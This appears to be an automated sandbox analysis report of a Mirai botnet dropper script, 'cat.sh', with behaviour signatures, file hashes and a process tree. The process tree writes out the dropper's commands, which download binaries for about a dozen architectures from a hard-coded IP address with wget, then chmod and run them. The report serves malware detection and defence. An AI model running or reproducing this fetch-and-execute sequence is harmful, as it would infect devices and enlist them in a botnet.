Overview

overview

10

Static

static

1

cat.sh

ubuntu-18.04-amd64

10

cat.sh

debian-9-armhf

10

cat.sh

debian-9-mips

10

cat.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    25/05/2026, 22:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    cat.sh
  • Size 1KB
  • Sample260525-2b1x6sa16w
  • SHA256 b4537262f18d9b0b667aced73206f5699a0e3d197ba5ed6a165cb56708532f4e
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetmiraidefense_evasiondiscoverymiraiupx

Malware Config

Extracted

Family

  • mirai

Botnet

  • MIRAI

Extracted

Family

  • mirai

Botnet

  • MIRAI

Extracted

Family

  • mirai

Botnet

  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 11 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cat.sh
    /tmp/cat.sh
    1⤵
    • Executes dropped EXE
    PID:1516
    • /bin/uname
      uname -m
      2⤵
        PID:1517
      • /usr/bin/wget
        wget -q http://64.89.161.130/bins/x86_64 -O x86_64
        2⤵
        • Writes file to tmp directory
        PID:1518
      • /bin/chmod
        chmod 755 x86_64
        2⤵
        • File and Directory Permissions Modification
        PID:1522
      • /tmp/x86_64
        ./x86_64
        2⤵
        • Deletes itself
        • Modifies Watchdog functionality
        • Changes its process name
        • Reads runtime system information
        • Writes file to shm directory
        PID:1523
      • /bin/sleep
        sleep 2
        2⤵
          PID:1524
        • /usr/bin/wget
          wget -q http://64.89.161.130/bins/armv5l -O armv5l
          2⤵
          • Writes file to tmp directory
          PID:1530
        • /bin/chmod
          chmod 755 armv5l
          2⤵
          • File and Directory Permissions Modification
          PID:1531
        • /bin/sleep
          sleep 1
          2⤵
            PID:1533
          • /tmp/armv5l
            ./armv5l
            2⤵
              PID:1532
            • /usr/bin/wget
              wget -q http://64.89.161.130/bins/armv6l -O armv6l
              2⤵
              • Writes file to tmp directory
              PID:1535
            • /bin/chmod
              chmod 755 armv6l
              2⤵
              • File and Directory Permissions Modification
              PID:1536
            • /bin/sleep
              sleep 1
              2⤵
                PID:1538
              • /tmp/armv6l
                ./armv6l
                2⤵
                  PID:1537
                • /usr/bin/wget
                  wget -q http://64.89.161.130/bins/armv7l -O armv7l
                  2⤵
                  • Writes file to tmp directory
                  PID:1540
                • /bin/chmod
                  chmod 755 armv7l
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1541
                • /bin/sleep
                  sleep 1
                  2⤵
                    PID:1543
                  • /tmp/armv7l
                    ./armv7l
                    2⤵
                      PID:1542
                    • /usr/bin/wget
                      wget -q http://64.89.161.130/bins/arm -O arm
                      2⤵
                      • Writes file to tmp directory
                      PID:1545
                    • /bin/chmod
                      chmod 755 arm
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1546
                    • /bin/sleep
                      sleep 1
                      2⤵
                        PID:1548
                      • /tmp/arm
                        ./arm
                        2⤵
                          PID:1547
                        • /usr/bin/wget
                          wget -q http://64.89.161.130/bins/m68k -O m68k
                          2⤵
                          • Writes file to tmp directory
                          PID:1550
                        • /bin/chmod
                          chmod 755 m68k
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1551
                        • /bin/sleep
                          sleep 1
                          2⤵
                            PID:1553
                          • /tmp/m68k
                            ./m68k
                            2⤵
                              PID:1552
                            • /usr/bin/wget
                              wget -q http://64.89.161.130/bins/mips -O mips
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:1555
                            • /bin/chmod
                              chmod 755 mips
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1556
                            • /bin/sleep
                              sleep 1
                              2⤵
                                PID:1558
                              • /tmp/mips
                                ./mips
                                2⤵
                                • System Network Configuration Discovery
                                PID:1557
                              • /usr/bin/wget
                                wget -q http://64.89.161.130/bins/mpsl -O mpsl
                                2⤵
                                • Writes file to tmp directory
                                PID:1560
                              • /bin/chmod
                                chmod 755 mpsl
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1561
                              • /bin/sleep
                                sleep 1
                                2⤵
                                  PID:1563
                                • /tmp/mpsl
                                  ./mpsl
                                  2⤵
                                    PID:1562
                                  • /usr/bin/wget
                                    wget -q http://64.89.161.130/bins/ppc -O ppc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1565
                                  • /bin/chmod
                                    chmod 755 ppc
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1566
                                  • /bin/sleep
                                    sleep 1
                                    2⤵
                                      PID:1568
                                    • /tmp/ppc
                                      ./ppc
                                      2⤵
                                        PID:1567
                                      • /usr/bin/wget
                                        wget -q http://64.89.161.130/bins/sh4 -O sh4
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1570
                                      • /bin/chmod
                                        chmod 755 sh4
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1571
                                      • /bin/sleep
                                        sleep 1
                                        2⤵
                                          PID:1573
                                        • /tmp/sh4
                                          ./sh4
                                          2⤵
                                            PID:1572
                                          • /usr/bin/wget
                                            wget -q http://64.89.161.130/bins/spc -O spc
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1575
                                          • /bin/chmod
                                            chmod 755 spc
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1576
                                          • /bin/sleep
                                            sleep 1
                                            2⤵
                                              PID:1578
                                            • /tmp/spc
                                              ./spc
                                              2⤵
                                                PID:1577

                                            Network

                                                  MITRE ATT&CK Enterprise v16

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  .comm
                                                  • Path /dev/shm/.comm
                                                  • Size 2B
                                                  • SHA256 9a271f2a916b0b6ee6cecb2426f0b3206ef074578be55d9bc94f6f3fe3ab86aa
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  .comm
                                                  • Path /dev/shm/.comm
                                                  • Size 7B
                                                  • SHA256 512050893c7b4a63ab3a8b292d77945ccdd11f0a0ccbd6642e9f7d5cc038e502
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  arm
                                                  • Path /tmp/arm
                                                  • Size 34KB
                                                  • SHA256 22815bb629f201e64f7cd18db7a6e4f4824abc8da2f958d713f47a2ff177886d
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  armv5l
                                                  • Path /tmp/armv5l
                                                  • Size 33KB
                                                  • SHA256 431e983730ee960aebb586042fb1d2ba46b131f413a90911c9d4b516af5c1ac3
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  armv6l
                                                  • Path /tmp/armv6l
                                                  • Size 37KB
                                                  • SHA256 c79e97ba21d45cc66625fbd0654d7fce5fffc8dc35bf31c42a8bc962ec816659
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  armv7l
                                                  • Path /tmp/armv7l
                                                  • Size 58KB
                                                  • SHA256 7d866c3b02fd3a8f3f270c3a53c625fa980e6e3db6093acc5d564d5549dcdc16
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  m68k
                                                  • Path /tmp/m68k
                                                  • Size 79KB
                                                  • SHA256 fb124879e651fce06de0adf8ee7f62046bdf0e50e7a288c7e6956f09dfd7c08e
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  mips
                                                  • Path /tmp/mips
                                                  • Size 36KB
                                                  • SHA256 8c20a9fd18836f0cba2bb1e6552b179d2038cbe3fa3023b3f250800565368a21
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  mpsl
                                                  • Path /tmp/mpsl
                                                  • Size 37KB
                                                  • SHA256 85201b221ceb454802192829933560ee26a82aaa7bcc03cbe4f355bcdd44ddda
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  ppc
                                                  • Path /tmp/ppc
                                                  • Size 33KB
                                                  • SHA256 03530317daf063147818fbc620998b63efb93d25824745a1e53a2684a66993cf
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  sh4
                                                  • Path /tmp/sh4
                                                  • Size 62KB
                                                  • SHA256 733a3044ec0d4dd976958c38ea9c4536994eb170c399e4456bd5cd091452f415
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  spc
                                                  • Path /tmp/spc
                                                  • Size 76KB
                                                  • SHA256 3d27b7f26735535c0ba1e456ce4bd3e7db8eb52ab5e68c7b3bcb2c6b0ec3b7e5
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  x86_64
                                                  • Path /tmp/x86_64
                                                  • Size 33KB
                                                  • SHA256 1face8fa47baaa28eb4c70ffa3700df23c5e21a140949da4984778ca197b3893
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download